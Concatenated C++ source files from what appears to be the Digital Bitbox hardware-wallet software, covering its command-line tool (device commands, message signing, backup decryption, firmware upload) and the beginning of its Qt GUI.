//== QRCode Scanner==
void showQrCodeScanner();
void qrCodeFound(const QString& payload);
//== linux udev rule check
void checkUDevRule();
};
#endif
<|start_filename|>src/dbb_cli.cpp<|end_filename|>
/*
The MIT License (MIT)
Copyright (c) 2015 <NAME>
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/
#include <assert.h>
#include <fstream>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <string>
#include "dbb.h"
#include "libdbb/crypto.h"
#include "dbb_util.h"
#include "univalue.h"
#include "hidapi/hidapi.h"
#include <btc/hash.h>
#include <btc/ecc_key.h>
#include <btc/ecc.h>
#include <btc/bip32.h>
#include <portable_endian.h>
void ser_bytes(cstring* s, const void* p, size_t len)
{
cstr_append_buf(s, p, len);
}
void ser_u16(cstring* s, uint16_t v_)
{
uint16_t v = htole16(v_);
cstr_append_buf(s, &v, sizeof(v));
}
void ser_u32(cstring* s, uint32_t v_)
{
uint32_t v = htole32(v_);
cstr_append_buf(s, &v, sizeof(v));
}
void ser_varlen(cstring* s, uint32_t vlen)
{
unsigned char c;
if (vlen < 253) {
c = vlen;
ser_bytes(s, &c, 1);
}
else if (vlen < 0x10000) {
c = 253;
ser_bytes(s, &c, 1);
ser_u16(s, (uint16_t)vlen);
}
else {
c = 254;
ser_bytes(s, &c, 1);
ser_u32(s, vlen);
}
/* u64 case intentionally not implemented */
}
void ser_str(cstring* s, const char* s_in, size_t maxlen)
{
size_t slen = strnlen(s_in, maxlen);
ser_varlen(s, slen);
ser_bytes(s, s_in, slen);
}
//simple class for a dbb command
class CDBBCommand
{
public:
std::string cmdname;
std::string json;
std::string example;
bool requiresEncryption;
};
//dispatch table
// %var% will be replace with a corresponding command line agrument with a leading -
// example -password=<PASSWORD> will result in a input json {"%password%"} being replace to {"0000"}
//
// variables with no corresponding command line argument will be replaced with a empty string
// variables with a leading ! are mandatory and therefore missing a such will result in an error
static const CDBBCommand vCommands[] =
{
{ "erase" , "{\"reset\" : \"__ERASE__\"}", "", false},
{ "password" , "{\"password\" : \"%!<PASSWORD>%\"}", "", false},
{ "led" , "{\"led\" : \"blink\"}", "", true},
{ "seed" , "{\"seed\" : {"
"\"source\" :\"%source|create%\","
"\"raw\": \"%raw|false%\","
"\"entropy\": \"%entropy|0123456789abcde%\","
"\"key\": \"%key|1234%\","
"\"filename\": \"%filename|backup.dat%\"}"
"}", "", true},
{ "backuplist" , "{\"backup\" : \"list\"}", "", true},
{ "backuperaseall" , "{\"backup\" : \"erase\"}", "", true},
{ "backuperasefile" , "{\"backup\" : {\"erase\":\"%!filename%\"}}", "", true},
{ "backup" , "{\"backup\" : {"
"\"key\":\"%key|1234%\","
"\"filename\": \"%filename|backup.dat%\"}"
"}", "", true},
{ "sign" , "{\"sign\" : {"
"\"pin\" : \"%lock_pin|1234%\","
"\"meta\" : \"%meta|meta%\","
"\"data\" : %!hasharray%,"
"\"checkpub\": %pubkeyarray|[{\"pubkey\":\"000000000000000000000000000000000000000000000000000000000000000000\", \"keypath\":\"m/44\"}]% }"
"}",
"dbb-cli --password=0000 sign -hasharray='[{\"hash\": \"f6f4a3633eda92eef9dd96858dec2f5ea4dfebb67adac879c964194eb3b97d79\", \"keypath\":\"m/44/0\"}]' -pubkeyarray='[{\"pubkey\":\"0270526bf580ddb20ad18aad62b306d4beb3b09fae9a70b2b9a93349b653ef7fe9\", \"keypath\":\"m/44\"}]' -meta=34982a264657cdf2635051bd778c99e73ce5eb2e8c7f9d32b8aaa7e547c7fd90\n\n(This signs the given hash(es) with the privatekey specified at keypath. It checks if the pubkey at a given keypath is equal/valid.", true},
{ "xpub" , "{\"xpub\" : \"%!keypath%\"}", "", true},
{ "random" , "{\"random\" : \"%mode|true%\"}", "", true},
{ "info" , "{\"device\" : \"info\"}", "", true},
{ "lock" , "{\"device\" : \"lock\"}", "", true},
{ "verifypass" , "{\"verifypass\" : \"%operation|create%\"}", "", true},
{ "aes" , "{\"aes256cbc\" : {"
"\"type\":\"%type|encrypt%\","
"\"data\": \"%!data%\"}"
"}", "", true},
{ "bootloaderunlock" , "{\"bootloader\" : \"unlock\"}", "", true},
{ "bootloaderlock" , "{\"bootloader\" : \"lock\"}", "", true},
{ "firmware" , "%filename%", "", true},
{ "signmessage" , "%!password% %!message% %!keypath%", "", true},
/*{ "decryptbackup" , "%filename%", "", true},*//* no longer valid for firmware v2 */
{ "hidden_password" , "{\"hidden_password\" : \"%!hiddenpassword%\"}", "", true},
{ "u2f-on" , "{\"feature_set\" : {\"U2F\": true} }", "", true},
{ "u2f-off" , "{\"feature_set\" : {\"U2F\": false} }", "", true},
};
#define strlens(s) (s == NULL ? 0 : strlen(s))
#define PBKDF2_SALT "Digital Bitbox"
#define PBKDF2_SALTLEN 14
#define PBKDF2_ROUNDS 2048
#define PBKDF2_HMACLEN 64
extern "C" {
extern void hmac_sha512(const uint8_t* key, const uint32_t keylen, const uint8_t* msg, const uint32_t msglen, uint8_t* hmac);
extern char* utils_uint8_to_hex(const uint8_t* bin, size_t l);
}
void pbkdf2_hmac_sha512(const uint8_t *pass, int passlen, uint8_t *key, int keylen)
{
uint32_t i, j, k;
uint8_t f[PBKDF2_HMACLEN], g[PBKDF2_HMACLEN];
uint32_t blocks = keylen / PBKDF2_HMACLEN;
static uint8_t salt[PBKDF2_SALTLEN + 4];
memset(salt, 0, sizeof(salt));
memcpy(salt, PBKDF2_SALT, strlens(PBKDF2_SALT));
if (keylen & (PBKDF2_HMACLEN - 1)) {
blocks++;
}
for (i = 1; i <= blocks; i++) {
salt[PBKDF2_SALTLEN ] = (i >> 24) & 0xFF;
salt[PBKDF2_SALTLEN + 1] = (i >> 16) & 0xFF;
salt[PBKDF2_SALTLEN + 2] = (i >> 8) & 0xFF;
salt[PBKDF2_SALTLEN + 3] = i & 0xFF;
hmac_sha512(pass, passlen, salt, PBKDF2_SALTLEN + 4, g);
memcpy(f, g, PBKDF2_HMACLEN);
for (j = 1; j < PBKDF2_ROUNDS; j++) {
hmac_sha512(pass, <PASSWORD>len, g, PBKDF2_HMACLEN, g);
for (k = 0; k < PBKDF2_HMACLEN; k++) {
f[k] ^= g[k];
}
}
if (i == blocks && (keylen & (PBKDF2_HMACLEN - 1))) {
memcpy(key + PBKDF2_HMACLEN * (i - 1), f, keylen & (PBKDF2_HMACLEN - 1));
} else {
memcpy(key + PBKDF2_HMACLEN * (i - 1), f, PBKDF2_HMACLEN);
}
}
memset(f, 0, sizeof(f));
memset(g, 0, sizeof(g));
}
int main(int argc, char* argv[])
{
DBB::ParseParameters(argc, argv);
unsigned int i = 0, loop = 0;
bool cmdfound = false;
std::string userCmd;
//search after first argument with no -
std::vector<std::string> cmdArgs;
for (int i = 1; i < argc; i++)
if (strlen(argv[i]) > 0 && argv[i][0] != '-')
cmdArgs.push_back(std::string(argv[i]));
if (cmdArgs.size() > 0)
userCmd = cmdArgs.front();
if (userCmd == "help" || DBB::mapArgs.count("-help") || userCmd == "?") {
printf("Usage: %s -<arg0>=<value> -<arg1>=<value> ... <command>\n\nAvailable commands with possible arguments (* = mandatory):\n", "dbb_cli");
//try to find the command in the dispatch table
for (i = 0; i < (sizeof(vCommands) / sizeof(vCommands[0])); i++) {
CDBBCommand cmd = vCommands[i];
printf(" %s ", cmd.cmdname.c_str());
std::string json = cmd.json;
int tokenOpenPos = -1;
int defaultDelimiterPos = -1;
std::string var;
std::string defaultValue;
bool first = true;
for (unsigned int sI = 0; sI < json.length(); sI++) {
if (json[sI] == '|' && tokenOpenPos > 0)
defaultDelimiterPos = sI;
if (json[sI] == '%' && tokenOpenPos < 0)
tokenOpenPos = sI;
else if (json[sI] == '%' && tokenOpenPos >= 0) {
defaultValue = "";
if (defaultDelimiterPos >= 0) {
var = json.substr(tokenOpenPos + 1, defaultDelimiterPos - tokenOpenPos - 1);
defaultValue = json.substr(defaultDelimiterPos + 1, sI - defaultDelimiterPos - 1);
} else {
var = json.substr(tokenOpenPos + 1, sI - tokenOpenPos - 1);
}
tokenOpenPos = -1;
defaultDelimiterPos = -1;
if (!first)
printf(", ");
first = false;
bool mandatory = false;
if (var.size() > 0 && var[0] == '!') {
var.erase(0, 1);
mandatory = true;
}
if (!defaultValue.empty())
printf("-%s (default: %s)", var.c_str(), defaultValue.c_str());
else if (mandatory)
printf("-*%s", var.c_str());
else
printf("-%s", var.c_str());
}
}
printf("\n");
if (cmd.example.size() > 0)
printf("\n Example\n =======\n %s\n\n", cmd.example.c_str());
continue;
}
return 1;
}
std::string devicePath;
enum DBB::dbb_device_mode deviceMode = DBB::deviceAvailable(devicePath);
if (userCmd == "firmware" && deviceMode != DBB::DBB_DEVICE_MODE_BOOTLOADER)
{
printf("Error: No Digital Bitbox is Bootloader-Mode detected\n");
return 1;
}
bool connectRes = DBB::openConnection(deviceMode, devicePath);
if (!connectRes)
printf("Error: No Digital Bitbox connected\n");
else {
DebugOut("main", "Digital Bitbox connected\n");
if (argc < 2) {
printf("no command given\n");
return 0;
}
if (userCmd == "signmessage")
{
if (!DBB::mapArgs.count("-password"))
{
printf("You need to provide the password used during backup creation (-password=<password>)\n");
return 0;
}
std::string password = DBB::GetArg("-password", "<PASSWORD>");
const std::string strMessageMagic = "Bitcoin Signed Message:\n";
// serialize the message with magic in p2p ser format
cstring* s = cstr_new_sz(200);
ser_str(s, strMessageMagic.c_str(), strMessageMagic.size());
std::string possibleMessage = DBB::mapArgs["-message"];
if ((possibleMessage.empty() || possibleMessage == ""))
possibleMessage = std::string(cmdArgs[1].c_str());
ser_str(s, possibleMessage.c_str(), possibleMessage.size());
// calc double sha256
uint8_t hashout[32];
btc_hash((const uint8_t*)s->str, s->len, hashout);
cstr_free(s, true);
std::string hashstr = DBB::HexStr(hashout, hashout+32);
std::string keypath = DBB::GetArg("-keypath", "m/0");
DebugOut("main", "signing message (%s) hash: %s with key at path: %s\n", possibleMessage.c_str(), hashstr.c_str(), keypath.c_str());
std::string base64str;
std::string cmdOut;
std::string unencryptedJson;
std::string cmdS = "{\"sign\" : { \"meta\" : \"bla\", \"data\": [{\"hash\":\""+hashstr+"\", \"keypath\": \""+keypath+"\"}], \"checkpub\" : [] } }";
DBB::encryptAndEncodeCommand(cmdS, password, base64str);
DBB::sendCommand(base64str, cmdOut);
DBB::decryptAndDecodeCommand(cmdOut, password, unencryptedJson);
UniValue jsonObj;
jsonObj.read(unencryptedJson);
UniValue posEcho = find_value(jsonObj, "echo");
if(posEcho.isStr()) {
// send command again due to echo
// skip smart verification
DBB::sendCommand(base64str, cmdOut);
DBB::decryptAndDecodeCommand(cmdOut, password, unencryptedJson);
jsonObj.read(unencryptedJson);
}
UniValue sign = find_value(jsonObj, "sign");
UniValue recid = find_value(sign[0], "recid");
UniValue sig = find_value(sign[0], "sig");
// parse hex compact 64 byte signature
std::vector<unsigned char> sigHex = DBB::ParseHex(sig.get_str());
std::vector<unsigned char> vchSig;
int rec = -1;
rec = stoi(recid.get_str());
printf("rec: %d\n", rec);
vchSig.resize(65);
vchSig[0] = 27 + rec + (true ? 4 : 0);
memcpy(&vchSig[1], &sigHex[0], 64);
std::string base64strOut = base64_encode(&vchSig[0], vchSig.size());
std::string newstr = base64_decode(base64strOut);
assert(memcmp(&vchSig[0], &newstr[0], vchSig.size()) == 0);
std::string cmd3 = "{\"xpub\" : \""+keypath+"\"}";
DBB::encryptAndEncodeCommand(cmd3, password, base64str);
DBB::sendCommand(base64str, cmdOut);
DBB::decryptAndDecodeCommand(cmdOut, password, unencryptedJson);
jsonObj.read(unencryptedJson);
UniValue xpub = find_value(jsonObj, "xpub");
btc_hdnode node;
bool r = btc_hdnode_deserialize(xpub.get_str().c_str(), &btc_chain_main, &node);
char address[1024];
btc_hdnode_get_p2pkh_address(&node, &btc_chain_main, address, sizeof(address));
char pubk[1024];
size_t len;
btc_hdnode_get_pub_hex(&node, pubk, &len);
printf("signature: %s\n", base64strOut.c_str());
printf("Message: %s\n", possibleMessage.c_str());
printf("Used keypath: %s\n", keypath.c_str());
printf("Used address: %s\n", address);
printf("Used pubkey: %s\n", pubk);
printf("Used xpub: %s\n", xpub.get_str().c_str());
}
else if (userCmd == "decryptbackup")
{
if (!DBB::mapArgs.count("-password"))
{
printf("You need to provide the password used during backup creation (-password=<password>)\n");
return 0;
}
std::string password = DBB::GetArg("-password", "<PASSWORD>");
std::string key;
// load the file
std::string possibleFilename = DBB::mapArgs["-filename"];
if ((possibleFilename.empty() || possibleFilename == ""))
possibleFilename = cmdArgs[1].c_str();
std::ifstream backupFile(possibleFilename, std::ios::ate);
std::streamsize backupSize = backupFile.tellg();
if (backupSize <= 0)
{
printf("Backup file (%s) does not exists or is empty\n", possibleFilename.c_str());
return 0;
}
backupFile.seekg(0, std::ios::beg);
//PBKDF2 key stretching
key.resize(PBKDF2_HMACLEN);
pbkdf2_hmac_sha512((uint8_t *)password.c_str(), password.size(), (uint8_t *)&key[0], PBKDF2_HMACLEN);
std::string backupBuffer((std::istreambuf_iterator<char>(backupFile)), std::istreambuf_iterator<char>());
backupBuffer = "{\"ciphertext\" : \""+backupBuffer+"\"}";
std::string unencryptedBackup;
DBB::decryptAndDecodeCommand(backupBuffer, std::string(utils_uint8_to_hex((uint8_t *)&key[0], PBKDF2_HMACLEN)), unencryptedBackup);
printf("%s\n", unencryptedBackup.c_str());
}
else if (userCmd == "firmware")
{
// dummy private key to allow current testing
// the private key matches the pubkey on the DBB bootloader / FW
std::string testing_privkey = "<KEY>";
// load the file
std::string possibleFilename = DBB::mapArgs["-filename"];
if (possibleFilename.empty() || possibleFilename == "")
possibleFilename = cmdArgs[1].c_str();
std::ifstream firmwareFile(possibleFilename, std::ios::binary | std::ios::ate);
std::streamsize firmwareSize = firmwareFile.tellg();
if (firmwareSize > 0)
{
std::string sigStr;
firmwareFile.seekg(0, std::ios::beg);
//read signatures
if (DBB::GetArg("-noreadsig", "") == "")
{
unsigned char sigByte[FIRMWARE_SIGLEN];
firmwareFile.read((char *)&sigByte[0], FIRMWARE_SIGLEN);
sigStr = DBB::HexStr(sigByte, sigByte + FIRMWARE_SIGLEN);
printf("Reading signature... %s\n", sigStr.c_str());
}
//read firmware
std::vector<char> firmwareBuffer(DBB_APP_LENGTH);
unsigned int pos = 0;
while (true)
{
firmwareFile.read(&firmwareBuffer[0]+pos, FIRMWARE_CHUNKSIZE);
std::streamsize bytes = firmwareFile.gcount();
if (bytes == 0)
break;
pos += bytes;
}
firmwareFile.close();
// append 0xff to the rest of the firmware buffer
memset((void *)(&firmwareBuffer[0]+pos), 0xff, DBB_APP_LENGTH-pos);
if (DBB::GetArg("-dummysigwrite", "") != "")
{
printf("Creating dummy signature...");
btc_ecc_start();
sigStr = DBB::dummySig(firmwareBuffer);
printf("%s\n", sigStr.c_str());
btc_ecc_stop();
}
// send firmware blob to DBB
if (!DBB::upgradeFirmware(firmwareBuffer, firmwareSize, sigStr, [](const std::string& infotext, float progress) {}))
printf("Firmware upgrade failed!\n");
else
printf("Firmware successfully upgraded!\n");
}
else
printf("Can't open firmware file!\n");
}
else {
//try to find the command in the dispatch table
for (i = 0; i < (sizeof(vCommands) / sizeof(vCommands[0])); i++) {
CDBBCommand cmd = vCommands[i];
if (cmd.cmdname == userCmd) {
std::string cmdOut;
std::string json = cmd.json;
size_t index = 0;
//replace %vars% in json string with cmd args
int tokenOpenPos = -1;
int defaultDelimiterPos = -1;
std::string var;
std::string defaultValue;
for (unsigned int sI = 0; sI < json.length(); sI++) {
if (json[sI] == '|' && tokenOpenPos > 0)
defaultDelimiterPos = sI;
if (json[sI] == '%' && tokenOpenPos < 0)
tokenOpenPos = sI;
else if (json[sI] == '%' && tokenOpenPos >= 0) {
if (defaultDelimiterPos >= 0) {
var = json.substr(tokenOpenPos + 1, defaultDelimiterPos - tokenOpenPos - 1);
defaultValue = json.substr(defaultDelimiterPos + 1, sI - defaultDelimiterPos - 1);
} else {
var = json.substr(tokenOpenPos + 1, sI - tokenOpenPos - 1);
}
//always erase
json.erase(tokenOpenPos, sI - tokenOpenPos + 1);
bool mandatory = false;
if (var.size() > 0 && var[0] == '!') {
var.erase(0, 1);
mandatory = true;
}
var = "-" + var; //cmd args come in over "-arg"
if (DBB::mapArgs.count(var)) {
json.insert(tokenOpenPos, DBB::mapArgs[var]);
} else if (mandatory) {
printf("Argument %s is mandatory for command %s\n", var.c_str(), cmd.cmdname.c_str());
return 0;
} else if (defaultDelimiterPos > 0 && !defaultValue.empty())
json.insert(tokenOpenPos, defaultValue);
tokenOpenPos = -1;
defaultDelimiterPos = -1;
}
}
if (cmd.requiresEncryption || DBB::mapArgs.count("-password")) {
if (!DBB::mapArgs.count("-password")) {
printf("This command requires the -password argument\n");
DBB::closeConnection();
return 0;
}
if (!cmd.requiresEncryption) {
DebugOut("main", "Using encyption because -password was set\n");
}
std::string password = DBB::GetArg("-password", "<PASSWORD>"); //0000 will never be used because setting a password is required
std::string base64str;
std::string unencryptedJson;
DebugOut("main", "encrypting raw json: %s\n", json.c_str());
DBB::encryptAndEncodeCommand(json, password, base64str);
DBB::sendCommand(base64str, cmdOut);
try {
//hack: decryption needs the new password in case the AES256CBC password has changed
if (DBB::mapArgs.count("-newpassword"))
password = DBB::GetArg("-newpassword", "");
UniValue testJson;
testJson.read(cmdOut);
UniValue ct;
if (testJson.isObject())
ct = find_value(testJson, "ciphertext");
if (testJson.isObject() && !ct.isStr())
{
//json was unencrypted
unencryptedJson = cmdOut;
}
else
DBB::decryptAndDecodeCommand(cmdOut, password, unencryptedJson);
} catch (const std::exception& ex) {
printf("%s\n", ex.what());
DBB::closeConnection();
exit(0);
}
//example json en/decode
UniValue json;
json.read(unencryptedJson);
std::string jsonFlat = json.write(2); //pretty print with a intend of 2
printf("result: %s\n", jsonFlat.c_str());
} else {
//send command unencrypted
DBB::sendCommand(json, cmdOut);
printf("result: %s\n", cmdOut.c_str());
}
cmdfound = true;
}
}
if (!cmdfound) {
//try to send it as raw json
if (userCmd.size() > 1 && userCmd.at(0) == '{') //todo: ignore whitespace
{
std::string cmdOut;
DebugOut("main", "Send raw json %s\n", userCmd.c_str());
cmdfound = DBB::sendCommand(userCmd, cmdOut);
}
printf("command (%s) not found, use \"help\" to list available commands\n", DBB::SanitizeString(userCmd).c_str());
}
}
DBB::closeConnection();
}
return 0;
}
<|start_filename|>src/qt/clickablelabel.cpp<|end_filename|>
// Copyright (c) 2016 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "clickablelabel.h"
ClickableLabel::ClickableLabel(QWidget * parent ) :
QLabel(parent)
{
}
ClickableLabel::~ClickableLabel()
{
}
void ClickableLabel::mousePressEvent(QMouseEvent* event)
{
emit clicked();
}
<|start_filename|>src/libdbb/crypto.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef LIBDBB_CRYPTO_H
#define LIBDBB_CRYPTO_H
#include <string>
#define DBB_AES_BLOCKSIZE 16
#define DBB_AES_KEYSIZE 32
#define DBB_SHA256_DIGEST_LENGTH 32
std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len);
std::string base64_decode(std::string const& encoded_string);
void aesDecrypt(unsigned char* aesKey, unsigned char* aesIV, unsigned char* encMsg, size_t encMsgLen, unsigned char* decMsg);
void aesEncrypt(unsigned char* aesKey, unsigned char* aesIV, const unsigned char* msg, size_t msgLen, unsigned char* encMsg);
//get random aes IV (16 bytes)
void getRandIV(unsigned char* ivOut);
#endif //LIBDBB_CRYPTO_H
<|start_filename|>src/qt/dbb_gui.cpp<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "dbb_gui.h"
#include <QAction>
#include <QApplication>
#include <QPushButton>
#include <QDebug>
#include <QDesktopServices>
#include <QFileDialog>
#include <QInputDialog>
#include <QMenuBar>
#include <QMessageBox>
#include <QNetworkInterface>
#include <QSpacerItem>
#include <QTimer>
#include <QToolBar>
#include <QFontDatabase>
#include <QGraphicsOpacityEffect>
#include <QtNetwork/QHostInfo>
#include <QDateTime>
#include <QSettings>
#include "ui/ui_overview.h"
#include <dbb.h>
#include "libdbb/crypto.h"
#include "dbb_ca.h"
#include "dbb_util.h"
#include "dbb_netthread.h"
#include "serialize.h"
#include <cstdio>
#include <cmath>
#include <ctime>
#include <chrono>
#include <fstream>
#include <iomanip> // put_time
#include <univalue.h>
#include <btc/bip32.h>
#include <btc/tx.h>
#include <qrencode.h>
#include "firmware.h"
#if defined _MSC_VER
#include <direct.h>
#elif defined __GNUC__
#include <sys/types.h>
#include <sys/stat.h>
#endif
const static bool DBB_FW_UPGRADE_DUMMY_SIGN = false;
const static int MAX_INPUTS_PER_SIGN = 14;
//function from dbb_app.cpp
extern void executeCommand(const std::string& cmd, const std::string& password, std::function<void(const std::string&, dbb_cmd_execution_status_t status)> cmdFinished);
extern void setFirmwareUpdateHID(bool state);
// static C based callback which gets called if the com server gets a message
static void comServerCallback(DBBComServer* cs, const std::string& str, void *ctx)
{
// will be called on the com server thread
if (ctx)
{
DBBDaemonGui *gui = (DBBDaemonGui *)ctx;
// emits signal "comServerIncommingMessage"
QMetaObject::invokeMethod(gui, "comServerIncommingMessage", Qt::QueuedConnection,
Q_ARG(QString, QString::fromStdString(str)));
}
}
DBBDaemonGui::~DBBDaemonGui()
{
#ifdef DBB_USE_MULTIMEDIA
if (qrCodeScanner) {
delete qrCodeScanner; qrCodeScanner = NULL;
}
#endif
if (backupDialog) {
delete backupDialog; backupDialog = NULL;
}
if (getAddressDialog) {
delete getAddressDialog; getAddressDialog = NULL;
}
if (statusBarButton) {
delete statusBarButton; statusBarButton = NULL;
}
if (statusBarVDeviceIcon) {
delete statusBarVDeviceIcon; statusBarVDeviceIcon = NULL;
}
if (statusBarNetIcon) {
delete statusBarNetIcon; statusBarNetIcon = NULL;
}
if (statusBarUSBIcon) {
delete statusBarUSBIcon; statusBarUSBIcon = NULL;
}
if (statusBarLabelLeft) {
delete statusBarLabelLeft; statusBarLabelLeft = NULL;
}
if (statusBarLabelRight) {
delete statusBarLabelRight; statusBarLabelRight = NULL;
}
if (configData) {
delete configData; configData = NULL;
}
{
std::unique_lock<std::recursive_mutex> lock(this->cs_walletObjects);
if (singleWallet) {
delete singleWallet; singleWallet = NULL;
}
if (!vMultisigWallets.empty()) {
delete vMultisigWallets[0];
vMultisigWallets.clear();
}
}
if (walletUpdateTimer) {
walletUpdateTimer->stop();
delete walletUpdateTimer; walletUpdateTimer = NULL;
}
if (updateManager) {
delete updateManager; updateManager = NULL;
}
if (comServer) {
delete comServer; comServer = NULL;
}
}
DBBDaemonGui::DBBDaemonGui(const QString& uri, QWidget* parent) : QMainWindow(parent),
openedWithBitcoinURI(0),
ui(new Ui::MainWindow),
statusBarButton(0),
statusBarLabelRight(0),
statusBarLabelLeft(0),
backupDialog(0),
getAddressDialog(0),
verificationDialog(0),
processCommand(0),
deviceConnected(0),
deviceReadyToInteract(0),
cachedWalletAvailableState(0),
initialWalletSeeding(0),
cachedDeviceLock(0),
currentPaymentProposalWidget(0),
signConfirmationDialog(0),
loginScreenIndicatorOpacityAnimation(0),
netActivityAnimation(0),
usbActivityAnimation(0),
verificationActivityAnimation(0),
sdcardWarned(0),
fwUpgradeThread(0),
upgradeFirmwareState(0),
shouldKeepBootloaderState(0),
touchButtonInfo(0),
walletUpdateTimer(0),
comServer(0),
lastPing(0),
netLoaded(false),
netErrCount(0),
settingsDialog(0),
updateManager(0)
{
#ifdef DBB_USE_MULTIMEDIA
qrCodeScanner = NULL;
#endif
#if defined(Q_OS_MAC)
QApplication::setAttribute(Qt::AA_UseHighDpiPixmaps);
#endif
ui->setupUi(this);
#if defined(__linux__) || defined(__unix__)
std::string ca_file;
//need to libcurl, load it once, set the CA path at runtime
ca_file = DBB::getCAFile();
#endif
//testnet/mainnet switch
if (DBB::mapArgs.count("-testnet"))
DBB_USE_TESTNET = true;
if (!uri.isEmpty())
openedWithBitcoinURI = new QString(uri);
/////////// UI Styling
#if defined(Q_OS_MAC)
std::string balanceFontSize = "24pt";
std::string menuFontSize = "18pt";
#elif defined(Q_OS_WIN)
std::string balanceFontSize = "20pt";
std::string menuFontSize = "16pt";
#else
std::string balanceFontSize = "20pt";
std::string menuFontSize = "14pt";
#endif
QFontDatabase::addApplicationFont(":/fonts/BebasKai-Regular");
this->setStyleSheet("QMainWindow {background: 'white';}");
#if defined(Q_OS_WIN)
qApp->setStyleSheet("");
#else
qApp->setStyleSheet("QWidget { font-family: Source Sans Pro; } QHeaderView::section { font-family: Source Sans Pro Black; }");
#endif
QString buttonCss("QPushButton::hover { } QPushButton:pressed { background-color: rgba(200,200,200,230); border:0; color: white; } QPushButton { font-family: Bebas Kai; font-size:" + QString::fromStdString(menuFontSize) + "; border:0; color: #444444; };");
QString msButtonCss("QPushButton::hover { } QPushButton:pressed { background-color: rgba(200,200,200,230); border:0; color: #003366; } QPushButton { font-family: Bebas Kai; font-size:" + QString::fromStdString(menuFontSize) + "; border:0; color: #003366; };");
this->ui->receiveButton->setStyleSheet(buttonCss);
this->ui->overviewButton->setStyleSheet(buttonCss);
this->ui->sendButton->setStyleSheet(buttonCss);
this->ui->mainSettingsButton->setStyleSheet(buttonCss);
this->ui->multisigButton->setStyleSheet(msButtonCss);
this->ui->balanceLabel->setStyleSheet("font-size: " + QString::fromStdString(balanceFontSize) + ";");
this->ui->singleWalletBalance->setStyleSheet("font-size: " + QString::fromStdString(balanceFontSize) + ";");
this->ui->multisigBalance->setStyleSheet("font-size: " + QString::fromStdString(balanceFontSize) + ";");
////////////// END STYLING
this->ui->tableWidget->setVisible(false);
this->ui->loadinghistory->setVisible(true);
// allow serval signaling data types
qRegisterMetaType<UniValue>("UniValue");
qRegisterMetaType<std::string>("std::string");
qRegisterMetaType<dbb_cmd_execution_status_t>("dbb_cmd_execution_status_t");
qRegisterMetaType<dbb_response_type_t>("dbb_response_type_t");
qRegisterMetaType<std::vector<std::string> >("std::vector<std::string>");
qRegisterMetaType<DBBWallet*>("DBBWallet *");
// connect UI
connect(ui->noDeviceConnectedLabel, SIGNAL(linkActivated(const QString&)), this, SLOT(noDeviceConnectedLabelLink(const QString&)));
connect(ui->eraseButton, SIGNAL(clicked()), this, SLOT(eraseClicked()));
connect(ui->ledButton, SIGNAL(clicked()), this, SLOT(ledClicked()));
connect(ui->refreshButton, SIGNAL(clicked()), this, SLOT(SingleWalletUpdateWallets()));
connect(ui->getNewAddress, SIGNAL(clicked()), this, SLOT(getNewAddress()));
connect(ui->verifyAddressButton, SIGNAL(clicked()), this, SLOT(verifyAddress()));
connect(ui->joinCopayWallet, SIGNAL(clicked()), this, SLOT(joinCopayWalletClicked()));
connect(ui->checkProposals, SIGNAL(clicked()), this, SLOT(MultisigUpdateWallets()));
connect(ui->showBackups, SIGNAL(clicked()), this, SLOT(showBackupDialog()));
connect(ui->getRand, SIGNAL(clicked()), this, SLOT(getRandomNumber()));
connect(ui->lockDevice, SIGNAL(clicked()), this, SLOT(lockDevice()));
connect(ui->sendCoinsButton, SIGNAL(clicked()), this, SLOT(createTxProposalPressed()));
connect(ui->getAddress, SIGNAL(clicked()), this, SLOT(showGetAddressDialog()));
connect(ui->upgradeFirmware, SIGNAL(clicked()), this, SLOT(upgradeFirmwareButton()));
connect(ui->openSettings, SIGNAL(clicked()), this, SLOT(showSettings()));
connect(ui->pairDeviceButton, SIGNAL(clicked()), this, SLOT(pairSmartphone()));
ui->upgradeFirmware->setVisible(true);
ui->keypathLabel->setVisible(false);//hide keypath label for now (only tooptip)
connect(ui->tableWidget, SIGNAL(doubleClicked(QModelIndex)),this,SLOT(historyShowTx(QModelIndex)));
connect(ui->deviceNameLabel, SIGNAL(clicked()),this,SLOT(setDeviceNameClicked()));
#ifdef DBB_USE_MULTIMEDIA
// connect QRCode Scanner
// initiaize QRCode scanner
if (DBBQRCodeScanner::availability())
{
ui->qrCodeButton->setEnabled(true);
}
else
ui->qrCodeButton->setEnabled(false);
connect(ui->qrCodeButton, SIGNAL(clicked()),this,SLOT(showQrCodeScanner()));
#else
ui->qrCodeButton->setVisible(false);
#endif
// connect custom signals
connect(this, SIGNAL(XPubForCopayWalletIsAvailable(int)), this, SLOT(getRequestXPubKeyForCopay(int)));
connect(this, SIGNAL(RequestXPubKeyForCopayWalletIsAvailable(int)), this, SLOT(joinCopayWallet(int)));
connect(this, SIGNAL(gotResponse(const UniValue&, dbb_cmd_execution_status_t, dbb_response_type_t, int)), this, SLOT(parseResponse(const UniValue&, dbb_cmd_execution_status_t, dbb_response_type_t, int)));
